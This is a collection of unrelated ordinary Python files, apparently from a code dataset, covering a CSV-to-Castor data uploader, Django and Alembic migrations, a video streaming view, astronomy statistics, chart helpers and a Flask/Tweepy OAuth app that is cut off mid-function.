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#!/usr/bin/env python
#author feardonn@ie.ibm.com
"""Castor API sample program.
/*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
"""
import os
import argparse
import logging
import csv
import json
import fnmatch
import datetime
import pytz
import sys
sys.path.append("../..") # work around to add locally available pycloudmessenger to path
import pycloudmessenger.castor.castorapi as castorapi
LOGGER = logging.getLogger(__package__)
def logger(verbose=False):
if not LOGGER.handlers:
level = logging.DEBUG if verbose else logging.INFO
logging.basicConfig(stream=sys.stdout, level=level,
format='%(asctime)s.%(msecs)03d %(levelname)-6s %(message)s',
datefmt='%Y-%m-%d %H:%M:%S')
return LOGGER
class DataParser():
def __init__(self, castor, flavour, batch, max_lines, split, csv_config):
self.castor = castor
self.batch = batch
self.flavour = flavour ##Why do we need this
self.max_lines = max_lines #Is there reason to have a max number of lines?
self.split = split
self.csv_config = csv_config
self.header = None
self.finished = False
self.start = None
self.device = None
self.last_processed_line = 0
self.date_format = self.csv_config['timestamp_format']
self.timezone = self.csv_config['timestamp_timezone']
def parse_sample_line(self, row, line, target_line, separator=','):
if line <= target_line:
return None
#split a csv row into values and insert into dictionary
values = row.split(separator)
#Note: the observed_timestamp field should be iso8601 UTC prior to submission
#The following code assumes a local timestamp and converts to UTC
# Concat multi-column timestamp with a space:
if type(self.csv_config['timestamp_idx']) is list:
timestamp_str = values[self.csv_config['timestamp_idx'][0]] + ' ' + values[self.csv_config['timestamp_idx'][1]]
# Single-column timestamp:
else:
timestamp_str = values[self.csv_config['timestamp_idx']]
local_tz = pytz.timezone(self.timezone)
local_timestamp = datetime.datetime.strptime(timestamp_str, self.date_format)
local_dt = local_tz.localize(local_timestamp, is_dst=None)
timestamp = local_dt.astimezone(pytz.utc).isoformat()
# timestamp = self.client.utc_offset(timestamp_str, self.timezone, self.date_format)
# timestamp = datetime.datetime.strptime(timestamp, self.date_format).replace(tzinfo=tzutc()).isoformat()
data = []
# Simple CSV file:
if len(self.csv_config['value_column_names']) == 1:
if values[self.csv_config['value_column_idxs'][0]]:
data.append({"ts_id" : values[self.csv_config['sensor_id_idx']],
"observed_timestamp": timestamp,
"value" : values[self.csv_config['value_column_idxs'][0]]})
# Composite CSV file; append value_column_name to sensor_id :
else:
for i in range(len(self.csv_config['value_column_names'])):
if values[self.csv_config['value_column_idxs'][i]]:
data.append({"ts_id" : values[self.csv_config['sensor_id_idx']] + '-' + self.csv_config['value_column_names'][i],
"observed_timestamp": timestamp,
"value" : values[self.csv_config['value_column_idxs'][i]]})
self.last_processed_line = line
return data
def read_row(self, filename):
#Open csv file and yield a new row on each call
# Handle CSV files starting with Unicode 'byte order mark' (BOM) with 'utf-8-sig' encoding.
with open(filename, 'r', encoding='utf-8-sig') as csvfile:
csvreader = csv.reader((line.replace('\0', '') for line in csvfile), delimiter=',', quotechar='"')
for row in csvreader:
yield row
def publish(self, filename, target_line):
count = 0
line = 0
data = []
#Iterate over csv file and upload to server
for row in self.read_row(filename):
line += 1
latest = None
row_str = ','.join(row)
#Lets convert our comma separated values to json and add to upload
if self.flavour == 1:
latest = self.parse_sample_line(row_str, line, target_line)
else:
logger().info("Flavour not supported")
if latest is None:
continue
data = data + latest
count += 1
if count % self.batch == 0:
#Now upload
logger().debug("Publishing : %d (%d measurements)", count, len(data))
with self.castor:
message = self.castor.store_time_series(data)
reply = self.castor.invoke_service(message)
logger().info(reply)
data = []
if count >= self.max_lines:
break
if data:
logger().debug("Publishing : %d (%d measurements)", count, len(data))
with self.castor:
message = self.castor.store_time_series(data)
reply = self.castor.invoke_service(message)
logger().info(reply)
return (self.last_processed_line, count)
def sort_key(to_sort):
return str(os.path.getmtime(to_sort)) + '::' + to_sort.lower()
def parse_csv_config(csv_config_file):
csv_config = json.load(csv_config_file)
expected_keys = ['sensor_id_idx', 'timestamp_idx', 'value_column_names', 'value_column_idxs']
for key in expected_keys:
if csv_config.get(key) is None:
raise KeyError('CSV configuration file missing expected key: ' + key)
if len(csv_config['value_column_names']) < 1:
raise KeyError("CSV configuration file must define one or more 'value_column_names'")
if len(csv_config['value_column_names']) != len(csv_config['value_column_names']):
raise KeyError("CSV configuration file must define an equal number of 'value_column_names' and 'value_column_idxs'")
return csv_config
def main():
parser = argparse.ArgumentParser(description='Messaging Client')
parser.add_argument('--credentials', required=True)
parser.add_argument('--feed_queue', required=False, help='Defaults to credentials file')
parser.add_argument('--reply_queue', required=False, help='Defaults to auto-generated')
parser.add_argument('--broker_user', required=False, help='Defaults to credentials file')
parser.add_argument('--broker_password', required=False, help='Defaults to credentials file')
## We introduce new arguments that we need to push data using store_time_series call
parser.add_argument('--state', action='store', dest='state',
required=False, help='state file')
parser.add_argument('--csv_config_path', action='store', dest='csv_config_path',
required=False, default='csv_config.json',
help='Path to CSV configuration JSON file for data upload')
parser.add_argument('--dir', action='store', dest='dir',
required=True, help='data directory')
parser.add_argument('--pattern', action='store', dest='pattern',
required=True, help='file filter')
parser.add_argument('--batch', default=20, action='store', dest='batch',
required = False, help = 'batch x messages')
parser.add_argument('--max', action='store', dest='max_lines',
required=False, default=100000, help='process max lines')
parser.add_argument('--split', action='store', dest='split',
required=False, default=25, help='process max columns per message')
parser.add_argument('--flavour', default=1, action='store', dest='flavour', # not currently used
required=False, help='file format style') # but retain for compatibility
parser.add_argument('-v', '--verbose', help="increase output verbosity",
required=False, default=False, action='store_true', dest='verbose')
cmdline = parser.parse_args()
state = {}
logger(cmdline.verbose)
logger().info("=============================Starting==============================")
context = castorapi.CastorContext.from_credentials_file(cmdline.credentials, cmdline.broker_user, cmdline.broker_password)
logger().info("We expect to upload data")
try:
castor = castorapi.CastorMessenger(context, cmdline.feed_queue, cmdline.reply_queue)
with open(cmdline.state) as state_file:
state = json.load(state_file)
logger().info("Loading from state : %s:%d", state['file'], state['line'])
except:
logger().info("No state file found, providing default.")
state['file'] = None
state['line'] = 0
try:
with open(cmdline.csv_config_path) as csv_config_file:
csv_config = parse_csv_config(csv_config_file)
logger().info("Loading CSV column config file: " + cmdline.csv_config_path)
except:
logger().info("No CSV config file found; quitting...")
quit()
try:
cmdline.state = os.path.abspath(cmdline.state)
os.chdir(cmdline.dir)
files_to_process = fnmatch.filter(sorted(os.listdir('.'), key=sort_key), cmdline.pattern)
if len(files_to_process) == 0:
logger().info("File of pattern %s does not exist. Program will exit", cmdline.pattern)
for fname in files_to_process:
fname = os.path.join('.', fname)
if os.path.isfile(fname) == 0:
continue
if state['line'] == 0:
line = 0 #A new file, start at the beginning
logger().info("Processing : %s...", fname)
elif fname == state['file']:
logger().info("process state")
line = state['line'] #Lets try to start from the last point
logger().info("Processing from : %s:%d", fname, line)
else:
logger().debug("Skipping file: %s", fname)
continue
try:
# Now lets upload our meter data
parser = DataParser(castor, int(cmdline.flavour), int(cmdline.batch),
int(cmdline.max_lines), int(cmdline.split),
csv_config)
line, count = parser.publish(fname, line)
if line in (0, state['line']):
logger().info("No additional data at : %s:%d", fname, state['line'])
state['line'] = 0 # Now we drop state to process next file
continue
logger().info("Processed : %s", fname)
with open(cmdline.state, 'w') as state_file:
json.dump({'file': fname, 'line': line}, state_file)
if count == cmdline.max_lines:
#Quit all file processing, large file encountered
LOGGER.info("Max lines reached : %s:%d:%d", fname, line, count)
break
except Exception as e:
logger().info("WARNING: %s", str(e))
logger().info("WARNING: Not writing to state file : %s", cmdline.state)
logger().info("WARNING: State will not be preserved : %s:%d", fname, line)
raise e
except Exception as e:
logger().error("ERROR: %r", e)
logger().error("ERROR: aborting.")
if __name__ == '__main__':
main()
| python |
"""Create vpn_payload table
Revision ID: 9dd4e48235e3
Revises: e5840df9a88a
Create Date: 2017-05-19 19:59:55.582629
"""
from alembic import op
import sqlalchemy as sa
# revision identifiers, used by Alembic.
revision = '9dd4e48235e3'
down_revision = 'e5840df9a88a'
branch_labels = None
depends_on = None
def upgrade():
op.create_table('vpn_payload',
sa.Column('id', sa.Integer(), nullable=False),
sa.Column('user_defined_name', sa.String(), nullable=True),
sa.Column('override_primary', sa.Boolean(), nullable=True),
sa.Column('vpn_type', sa.Enum('L2TP', 'PPTP', 'IPSec', 'IKEv2', 'AlwaysOn', 'VPN', name='vpntype'), nullable=False),
sa.Column('vpn_sub_type', sa.String(), nullable=True),
sa.Column('provider_bundle_identifier', sa.String(), nullable=True),
sa.Column('on_demand_enabled', sa.Integer(), nullable=True),
sa.ForeignKeyConstraint(['id'], ['payloads.id'], ),
sa.PrimaryKeyConstraint('id')
)
def downgrade():
op.drop_table('vpn_payload')
| python |
"""
module for downloading file
"""
import re
from django.http import StreamingHttpResponse, FileResponse
from utils.params import ParamType
from utils.file import file_iterator
from file.models import VideoHelper
def video(package):
"""method for download video
"""
params = package.get('params')
video_id = params.get(ParamType.VideoID)
request = package.get('request')
range_header = request.META.get('HTTP_RANGE', '').strip()
range_re = re.compile(r'bytes\s*=\s*(\d+)\s*-\s*(\d*)', re.I)
range_match = range_re.match(range_header)
videoinfo = VideoHelper.get_video(video_id)
filepath = videoinfo['filepath']
filesize = videoinfo['size']
if range_match:
first_byte, last_byte = range_match.groups()
first_byte = int(first_byte) if first_byte else 0
last_byte = first_byte + 1024 * 1024 * 8
if last_byte >= filesize:
last_byte = filesize - 1
length = last_byte - first_byte + 1
response = StreamingHttpResponse(
file_iterator(filepath, offset=first_byte, length=length), status=206)
response['Content-Length'] = str(length)
response['Content-Range'] = 'bytes %s-%s/%s' % (first_byte, last_byte, filesize)
else:
response = FileResponse(open(filepath, 'rb'))
response['Content-Length'] = str(filesize)
response['Content-Type'] = 'video/mp4'
response['Content-Disposition'] = 'attachment;filename="' + videoinfo['filename'] + '"'
response['Accept-Ranges'] = 'bytes'
return response
| python |
# -*- coding: utf-8 -*-
"""
Created on 29/07/2020
Author : Carlos Eduardo Barbosa
Checking average correlation between parameters in NGC 3311.
"""
from __future__ import print_function, division
import os
import itertools
import numpy as np
from astropy.table import Table
from scipy.stats.distributions import chi2
from scipy.stats import pearsonr
import emcee
from tqdm import tqdm
import context
from run_paintbox import build_sed_model
def calc_correlations(targetSN=250, dataset="MUSE"):
wdir = os.path.join(context.data_dir, dataset,
"voronoi/sn{}".format(targetSN))
emcee_dir = os.path.join(wdir, "EMCEE")
dbs = sorted([_ for _ in os.listdir(emcee_dir) if _.endswith(".h5")])
sed = build_sed_model(np.linspace(4500, 9000, 1000), sample="test")[0]
params = np.array(sed.sspcolnames + ["sigma"])
idx = [sed.parnames.index(p) for p in params]
idxs = list(itertools.permutations(idx, 2))
pairs = list(itertools.permutations(params, 2))
rs = np.zeros((len(pairs), len(dbs)))
majaxis = np.zeros_like(rs)
minaxis = np.zeros_like(rs)
angs = np.zeros_like(rs)
pvals = np.zeros_like(rs)
s = chi2.ppf(0.68, df=2)
for n, db in enumerate(tqdm(dbs)):
reader = emcee.backends.HDFBackend(os.path.join(emcee_dir, db))
samples = reader.get_chain(discard=800, flat=True, thin=100)
trace = samples.T
for k, (i, j) in enumerate(idxs):
x = trace[i]
y = trace[j]
r, p = pearsonr(x, y)
cov = np.cov(np.array([x, y]))
w, v = np.linalg.eig(cov)
imax, imin = np.argmax(w), np.argmin(w)
v1, v2 = v[:, imax], v[:, imin]
w1, w2 = w[imax], w[imin]
ang = np.rad2deg(np.arctan2(v1[1], v1[0]))
a = 2 * np.sqrt(s * w1)
b = 2 * np.sqrt(s * w2)
rs[k, n] = r
majaxis[k, n] = a
minaxis[k, n] = b
angs[k, n] = ang
pvals[k, n] = p
r = np.median(rs, axis=1)
sort = np.argsort(np.abs(r))[::-1]
pairs = [pairs[s] for s in sort]
r = r[sort]
rsd = np.std(rs, axis=1)[sort]
a = np.median(majaxis, axis=1)[sort]
b = np.median(minaxis, axis=1)[sort]
asd = np.std(majaxis, axis=1)[sort]
bsd = np.std(minaxis, axis=1)[sort]
ang = np.median(angs, axis=1)[sort]
angsd = np.std(angs, axis=1)[sort]
p = np.median(pvals, axis=1)[sort]
psd = np.std(pvals, axis=1)[sort]
p1 = [p[0] for p in pairs]
p2 = [p[1] for p in pairs]
names = ["param1", "param2", "r", "rerr", "a", "aerr", "b", "berr",
"ang", "angerr", "p", "perr"]
tab = Table([p1, p2, r, rsd, a, asd, b, bsd, ang, angsd, p, psd],
names=names)
tab.write(os.path.join(wdir, "fit_stats_only_sedpars.fits"), overwrite=True)
# Make latex table
labels = {"T": "Age (Gyr)", "Z": "[Z/H]", "alphaFe": "[$\\alpha$/Fe]",
"NaFe": "[Na/Fe]", "sigma": "$\\sigma_*$ (km/s)", "imf":
"$\\Gamma_b$"}
for i, line in enumerate(tab):
if i%2 == 1:
continue
l = [labels[line["param1"]], labels[line["param2"]]]
for p in ["r", "p", "a", "b", "ang"]:
col = "${:.2f}\pm{:.2f}$".format(line[p], line["{}err".format(p)])
l.append(col)
print(" & ".join(l) + "\\\\")
if __name__ == "__main__":
calc_correlations() | python |
import common.ibc.handle
import common.ibc.processor
from luna2.config_luna2 import localconfig
from luna2 import constants as co
from settings_csv import LUNA2_LCD_NODE
def process_txs(wallet_address, elems, exporter):
for elem in elems:
process_tx(wallet_address, elem, exporter)
def process_tx(wallet_address, elem, exporter):
txinfo = _txinfo(wallet_address, elem)
for msginfo in txinfo.msgs:
# Handle common messages
result = common.ibc.processor.handle_message(exporter, txinfo, msginfo, localconfig.debug)
if result:
continue
# Handle unknown messages
common.ibc.handle.handle_unknown_detect_transfers(exporter, txinfo, msginfo)
return txinfo
def _txinfo(wallet_address, elem):
txinfo = common.ibc.processor.txinfo(
wallet_address, elem, "dummy", co.EXCHANGE_LUNA2, localconfig.ibc_addresses, LUNA2_LCD_NODE)
# Edit url, since terra not in mintscan
txid = elem["txhash"]
txinfo.url = "https://finder.terra.money/mainnet/tx/{}".format(txid)
return txinfo
| python |
from .session import Session
from .requests import *
class Client(object):
def __init__(self):
self.s = Session()
self.email = None
self.password = None
self.hash = None
self.computers = None
self.computer = None
self.userid = None
self.computerid = None
self.token = None
self.client_token = None
self.total = None
self.rank = None
def try_login(self, email, password):
self.email = email
self.password = password
res = self.s.request(TryLoginRequest(self.email, self.password))
self.hash = res.hash
self.computers = res.computers
return res
def login(self, computer):
self.computer = computer
res = self.s.request(LoginRequest(self.email, self.hash, self.computer))
self.userid = res.userid
self.computerid = res.computerid
self.username = res.username
self.token = res.token
self.total = res.total
self.rank = res.rank
self.premium = res.premium
return res
def client_login(self):
res = self.s.request(ClientLoginRequest(self.userid, self.computerid, self.hash))
self.client_token = res.client_token
return res
def set_password(self, password):
self.password = password
res = self.s.request(PasswordRequest(self.client_token, self.password))
self.hash = res.hash
return res
def reset_token(self):
res = self.s.request(TokenResetRequest(self.client_token))
self.token = res.token
return res
def refresh(self):
res = self.s.request(StatusRequest(self.client_token))
self.username = res.username
self.computer = res.computer
self.email = res.email
self.total = res.total
self.rank = res.rank
self.premium = res.premium
return res
def pulse(self, stats):
res = self.s.request(PulseRequest(self.client_token, self.token, stats))
self.token = res.token
self.total = res.total
self.rank = res.rank
return res
__all__ = ["Client"]
| python |
# -*- coding:utf-8 -*-
import struct,os,fnmatch,re,zlib
#遍历文件夹，返回文件列表
def walk(adr):
mylist=[]
for root,dirs,files in os.walk(adr):
for name in files:
adrlist=os.path.join(root, name)
mylist.append(adrlist)
return mylist
#将4字节byte转换成整数
def byte2int(byte):
long_tuple=struct.unpack('L',byte)
long = long_tuple[0]
return long
#将整数转换为4字节二进制byte
def int2byte(num):
return struct.pack('L',num)
#将txt转换成文本列表
def makestr(lines):
string_list = []
num = len(lines)
for index,line in enumerate(lines):
if re.match('★[0-9A-Fa-f]+★', line):
i = 1
string = ''
while True:
if index+i >= num:
break
if re.match('☆[0-9A-Fa-f]+☆', lines[index+i]):
break
string += lines[index+i]
i += 1
string_list.append(string[:-1])
return string_list
def FormatString(string, count):
#格式说明：
#★字符串行数★字符串
res = ''
flag = False
if string != '':
flag = True
'''
res = "★%08d★\n%s\n"%(count, string)
'''
res = "☆%08d☆\n%s★%08d★\n%s\n"%(count, string, count, string)
else:
flag = False
return flag, res
def StringFilter(string):
left = b'\x6a\x22'.decode('utf16')
right = b'\x6b\x22'.decode('utf16')
if left in string:
string = string.replace(left, '《')
if right in string:
string = string.replace(right, '》')
return string
f_lst = walk('TEXT')
for fn in f_lst:
srcname = fn
src = open(srcname,'r', encoding='utf16')
dstname = fn + '.ks'
dst = open(dstname,'w', encoding='utf16')
raw = open(fn, 'r+', encoding='utf16')
lines = src.readlines()
string_list = makestr(lines)
new_list = []
raw_lines = raw.readlines()
num = len(raw_lines)
stringline = ''
j = 0
for line in lines:
if (line[0] != ';'
and line[0] != '*'
and line[0] != '@'
and line[:2] != '[f'
and line[:2] != '[b'
and line[:2] != '[p'
and line[:2] != '[m'
and line[:2] != '[j'
and line[:2] != '[r'
and line[:2] != '[e'
and line[:2] != ' '
and line[:3] != '[st'
and line != '\n'):
new_list.append(line)
j += 1
else:
new_list.append(line)
new_list.append(raw_lines[len(raw_lines)-1])
for string in new_list:
dst.write(string)
print(dstname)
src.close()
dst.close()
raw.close()
| python |
from model.address import Address
import string
import random
def random_string(prefix, maxlen):
symbols = string.ascii_letters + string.digits+ string.punctuation + " "*10
return prefix + "".join([random.choice(symbols) for i in range(random.randrange(maxlen))])
def random_number(prefix, maxlen):
symbols = string.digits+" "*10
return prefix + "".join([random.choice(symbols) for i in range(random.randrange(maxlen))])
testdata = [
Address(first_name="", midle_name="", last_name= "", nick_name="", company="", addrs="") ] + [
Address(first_name=random_string("first_name", 10), midle_name=random_string("midle_name", 10), last_name=random_string("last_name", 20),
company=random_string("company", 10), addrs=random_string("address",10), home=random_number("1",20), mobile=random_number("1", 30),
work=random_number("1", 30), fax=random_number("1",20), email=random_string("e@", 10), secondaryphone=random_number("8913", 13))
for i in range(5)] | python |
print('Calcule o seu amumento anual!')
salario = float(input('Qual o seu salário? €'))
if salario > 1250:
aumento = salario + (salario * 10) / 100
print('O seu salario é de {:.2f}€ terá um aumento de 10% e passará para {:.2f}€'.format(salario, aumento))
else:
aumento = salario + (salario * 15) / 100
print('O seu salario é de {:.2f}€ terá um aumento de 15% e passará para {:.2f}€'.format(salario, aumento))
| python |
import os
import numpy as np
from to_nwb.neuroscope import get_lfp_sampling_rate, get_channel_groups
from pynwb.ecephys import ElectricalSeries, LFP
from pynwb import NWBFile, NWBHDF5IO, TimeSeries
from dateutil.parser import parse as parse_date
from pytz import timezone
"""
Time simply increments by 1
"""
session_path = '/Users/bendichter/Desktop/Schnitzer/data/test1_171207_181558'
this_dir = session_path.split('/')[-1]
name, day, time = this_dir.split('_')
session_start_time = parse_date(day, yearfirst=True)
session_start_time = session_start_time.replace(tzinfo=timezone('US/Pacific'))
amp_xml_path = os.path.join(session_path, 'amplifier.xml')
amp_fs = get_lfp_sampling_rate(xml_filepath=amp_xml_path)
nchannels = len(get_channel_groups(xml_filepath=amp_xml_path)[0])
datas = ['amplifier', 'time', 'auxiliary', 'supply']
data_fpaths = {name: os.path.join(session_path, name + '.dat') for name in datas}
amp_data = np.fromfile(data_fpaths['amplifier'], dtype=np.int16).reshape(-1, nchannels)
time_data = np.fromfile(data_fpaths['time'], dtype=np.int32)
supply_data = np.fromfile(data_fpaths['supply'], dtype=np.int16)
ntt = len(amp_data)
aux_data = np.fromfile(data_fpaths['auxiliary'], dtype=np.int16).reshape(ntt, -1)
nwbfile = NWBFile(session_start_time=session_start_time, identifier=this_dir,
session_description='unknown')
device = nwbfile.create_device(name='Neuronexus Probe Buzsaki32/H32Package')
group = nwbfile.create_electrode_group(name='all_channels_group',
description='all channels',
device=device,
location='unknown')
for i in range(nchannels):
nwbfile.add_electrode(np.nan, np.nan, np.nan, # position
imp=np.nan,
location='unknown',
filtering='unknown',
group=group)
electrode_table_region = nwbfile.create_electrode_table_region(
list(range(nchannels)), 'all electrodes')
electrical_series = ElectricalSeries(data=amp_data,
rate=amp_fs,
electrodes=electrode_table_region,
name='amp_data')
nwbfile.add_acquisition(LFP(name='amp_data', electrical_series=electrical_series))
nwbfile.add_acquisition(TimeSeries('auxiliary', data=aux_data, rate=amp_fs, unit='na'))
nwbfile.add_acquisition(TimeSeries('supply', data=supply_data, rate=amp_fs, unit='na'))
out_fname = this_dir + '.nwb'
with NWBHDF5IO(out_fname, 'w') as io:
io.write(nwbfile)
| python |
"""
byceps.services.shop.order.sequence_service
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
:Copyright: 2006-2021 Jochen Kupperschmidt
:License: Revised BSD (see `LICENSE` file for details)
"""
from __future__ import annotations
from typing import Optional
from sqlalchemy.exc import IntegrityError
from ....database import db
from ..shop.transfer.models import ShopID
from .dbmodels.number_sequence import (
OrderNumberSequence as DbOrderNumberSequence,
)
from .transfer.number import OrderNumberSequence, OrderNumberSequenceID
from .transfer.number import OrderNumber
class OrderNumberSequenceCreationFailed(Exception):
pass
def create_order_number_sequence(
shop_id: ShopID, prefix: str, *, value: Optional[int] = None
) -> OrderNumberSequence:
"""Create an order number sequence."""
sequence = DbOrderNumberSequence(shop_id, prefix, value=value)
db.session.add(sequence)
try:
db.session.commit()
except IntegrityError as exc:
db.session.rollback()
raise OrderNumberSequenceCreationFailed(
f'Could not create order number sequence with prefix "{prefix}"'
) from exc
return _db_entity_to_order_number_sequence(sequence)
def delete_order_number_sequence(sequence_id: OrderNumberSequenceID) -> None:
"""Delete the order number sequence."""
db.session.query(DbOrderNumberSequence) \
.filter_by(id=sequence_id) \
.delete()
db.session.commit()
def get_order_number_sequence(
sequence_id: OrderNumberSequenceID,
) -> OrderNumberSequence:
"""Return the order number sequence, or raise an exception."""
sequence = db.session \
.query(DbOrderNumberSequence) \
.filter_by(id=sequence_id) \
.one_or_none()
if sequence is None:
raise ValueError(f'Unknown order number sequence ID "{sequence_id}"')
return _db_entity_to_order_number_sequence(sequence)
def get_order_number_sequences_for_shop(
shop_id: ShopID,
) -> list[OrderNumberSequence]:
"""Return the order number sequences defined for that shop."""
sequences = db.session \
.query(DbOrderNumberSequence) \
.filter_by(shop_id=shop_id) \
.all()
return [
_db_entity_to_order_number_sequence(sequence) for sequence in sequences
]
class OrderNumberGenerationFailed(Exception):
"""Indicate that generating a prefixed, sequential order number has
failed.
"""
def __init__(self, message: str) -> None:
self.message = message
def generate_order_number(sequence_id: OrderNumberSequenceID) -> OrderNumber:
"""Generate and reserve an unused, unique order number from this
sequence.
"""
sequence = db.session \
.query(DbOrderNumberSequence) \
.filter_by(id=sequence_id) \
.with_for_update() \
.one_or_none()
if sequence is None:
raise OrderNumberGenerationFailed(
f'No order number sequence found for ID "{sequence_id}".'
)
sequence.value = DbOrderNumberSequence.value + 1
db.session.commit()
return OrderNumber(f'{sequence.prefix}{sequence.value:05d}')
def _db_entity_to_order_number_sequence(
sequence: DbOrderNumberSequence,
) -> OrderNumberSequence:
return OrderNumberSequence(
id=sequence.id,
shop_id=sequence.shop_id,
prefix=sequence.prefix,
value=sequence.value,
)
| python |
# Generated by Django 3.1.5 on 2021-01-15 22:21
import django.db.models.deletion
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
("clubs", "0070_clubvisit_ip"),
]
operations = [
migrations.AddField(
model_name="badge",
name="fair",
field=models.ForeignKey(
blank=True,
null=True,
on_delete=django.db.models.deletion.CASCADE,
to="clubs.clubfair",
),
),
migrations.AlterField(
model_name="badge",
name="purpose",
field=models.CharField(
choices=[("fair", "Fair"), ("org", "Organization")], max_length=255
),
),
]
| python |
from typing import Protocol, Optional, runtime_checkable
@runtime_checkable
class Formatter(Protocol):
def __call__(self, x: float, pos: Optional[float]) -> str:
... # pragma: no cover
def default_formatter(x: float, pos: Optional[float]) -> str:
return str(x)
def thousands_formatter(x: float, pos: Optional[float]) -> str:
s = '{:1.1f}'.format(x*1e-3)
return s
def money_formatter(x: float, pos: Optional[float]) -> str:
if x >= 1e9:
s = '${:1.1f}B'.format(x*1e-9)
elif x >= 1e6:
s = '${:1.1f}M'.format(x*1e-6)
else:
s = '${:1.0f}K'.format(x*1e-3)
return s
| python |
from django.urls import path
from . import views
from django.conf import settings
from django.conf.urls.static import static
urlpatterns = [
path('', views.index, name='index'),
path('profile/<id>/',views.profile, name='profile'),
path('my_profile/',views.my_profile, name='my_profile'),
path('create_post/', views.create_post, name='create_post'),
path('display_post/<id>', views.display_post, name='display_post'),
path('like/<id>', views.like, name="like"),
path('like_post/<id>', views.like, name="like_post"),
path('search/',views.search_results, name='search'),
path('edit_profile/', views.edit_profile, name='edit_profile'),
]
if settings.DEBUG:
urlpatterns+= static(settings.MEDIA_URL, document_root = settings.MEDIA_ROOT) | python |
from charts.bar import HorizontalBarChart, VerticalBarChart
from charts.line import LineChart
from charts.pie import PieChart
from charts.scatter import ScatterplotChart
from charts.stackedbar import StackedVerticalBarChart, StackedHorizontalBarChart
CHART_TYPES = (
VerticalBarChart,
HorizontalBarChart,
LineChart,
PieChart,
ScatterplotChart,
StackedVerticalBarChart,
StackedHorizontalBarChart,
)
VERTICAL_BAR_CHART_TYPE = 0
HORIZONTAL_BAR_CHART_TYPE = 1
LINE_CHART_TYPE = 2
PIE_CHART_TYPE = 3
SCATTER_PLOT_CHART_TYPE = 4
STACKED_VERTICAL_BAR_CHART_TYPE = 5
STACKED_HORIZONTAL_BAR_CHART_TYPE = 6
chart_types = {
#"Barras verticales": VERTICAL_BAR_CHART_TYPE,
#"Barras horizontales": HORIZONTAL_BAR_CHART_TYPE,
#"Líneas": LINE_CHART_TYPE,
#"Torta circular": PIE_CHART_TYPE,
#"Puntos dispersos": SCATTER_PLOT_CHART_TYPE,
#"Barras apiladas verticalmente": STACKED_VERTICAL_BAR_CHART_TYPE,
#"Barras apiladas horizontalmente": STACKED_HORIZONTAL_BAR_CHART_TYPE,
"Barras": VERTICAL_BAR_CHART_TYPE,
"Líneas": LINE_CHART_TYPE,
"Torta circular": PIE_CHART_TYPE,
"Puntos dispersos": SCATTER_PLOT_CHART_TYPE,
"Barras apiladas": STACKED_VERTICAL_BAR_CHART_TYPE,
}
#(VERTICAL_BAR_CHART_TYPE,
# HORIZONTAL_BAR_CHART_TYPE,
# LINE_CHART_TYPE,
# PIE_CHART_TYPE,
# SCATTER_PLOT_CHART_TYPE,
# STACKED_VERTICAL_BAR_CHART_TYPE,
# STACKED_HORIZONTAL_BAR_CHART_TYPE) = range(len(CHART_TYPES))
def get_chart_from_type(surface, type=PIE_CHART_TYPE, options=None):
factory = CHART_TYPES[type]
return factory(surface, options)
| python |
# Generated by Django 2.2.1 on 2019-05-26 20:38
from django.db import migrations, models
import django.db.models.deletion
import django.utils.timezone
class Migration(migrations.Migration):
dependencies = [
('index', '0002_auto_20190524_0033'),
]
operations = [
migrations.CreateModel(
name='Story',
fields=[
('id', models.AutoField(primary_key=True, serialize=False)),
('title', models.CharField(max_length=200)),
('created_date', models.DateTimeField(default=django.utils.timezone.now)),
],
),
migrations.CreateModel(
name='StoryDetail',
fields=[
('id', models.AutoField(primary_key=True, serialize=False)),
('detail', models.CharField(max_length=200)),
('storyid', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='index.Story')),
],
),
migrations.CreateModel(
name='Answers',
fields=[
('id', models.AutoField(primary_key=True, serialize=False)),
('storyid', models.CharField(max_length=200)),
('adetail', models.CharField(max_length=200)),
('returnSdId', models.CharField(max_length=200)),
('storydetailid', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='index.StoryDetail')),
],
),
]
| python |
import argparse
import sys
p = argparse.ArgumentParser(
prog='ampush',
description="Active Directory Automount Pusher, v0.32",
)
p.add_argument('-V', '--version',
action='version',
version='ampush 0.32, 18-Sep-2017')
p.add_argument('-d', '--debug',
dest='debug',
action='store_true',
help='FIXME')
p.add_argument('--dry-run',
dest='dry_run',
action='store_true',
help="Run, but don't change anything in AD." +
"Log potential actions.")
p.add_argument('--sync',
dest='sync',
action='append',
nargs='?',
help="Push specified flat file map(s) into AD. If no " +
"maps are specified, push all maps on disk into AD.")
p.add_argument('-m', '--mode',
dest='mode',
action='store',
help='Use alternate AD OU and munging rules')
p.add_argument('-s', '--source',
dest='source',
action='store',
help='Read from alternate set of flat file automount maps')
a = vars(p.parse_args())
if len(sys.argv) <= 1:
p.print_help()
sys.exit(1)
| python |
#!/usr/bin/env python
from __future__ import division
import tweepy, time, pprint, re
from flask import Flask, render_template, session, redirect, url_for, request
from datetime import datetime
import collections
#Create the application
app = Flask(__name__)
# TwitListed's API key and secret
# (copy-paste into code before running script)
# (Will find a better solution later)
consumer_key = 'fill with your info'
consumer_secret = 'fill with your info'
# TODO: If changing callback url here, remember to change callback at apps.twitter.com to new callback url
callback = "http://127.0.0.1:5000/callback"
# Secret key for the session
app.secret_key = 'fill with your info'
auth = tweepy.OAuthHandler(consumer_key, consumer_secret, callback)
@app.route('/')
def index():
""" Displays the index page accessible at '/'"""
return render_template('index.html')
# Fetch request token
# (Requests the token from twitter and returns the
# authorization url the user must visit in order
# to authorize this app)
@app.route('/auth')
def authorize():
try:
redirect_url = auth.get_authorization_url()
except tweepy.TweepError:
print 'Error! Failed to get request token.'
# Store the request token in the session. (We will
# need it inside the callback URL request)
## session.set('request_token', auth.request_token)
session['request_token'] = auth.request_token
return redirect(redirect_url)
# Exchange the request token for an access token
@app.route('/callback')
def twitter_callback():
# Re-build the auth handler
token = session['request_token']
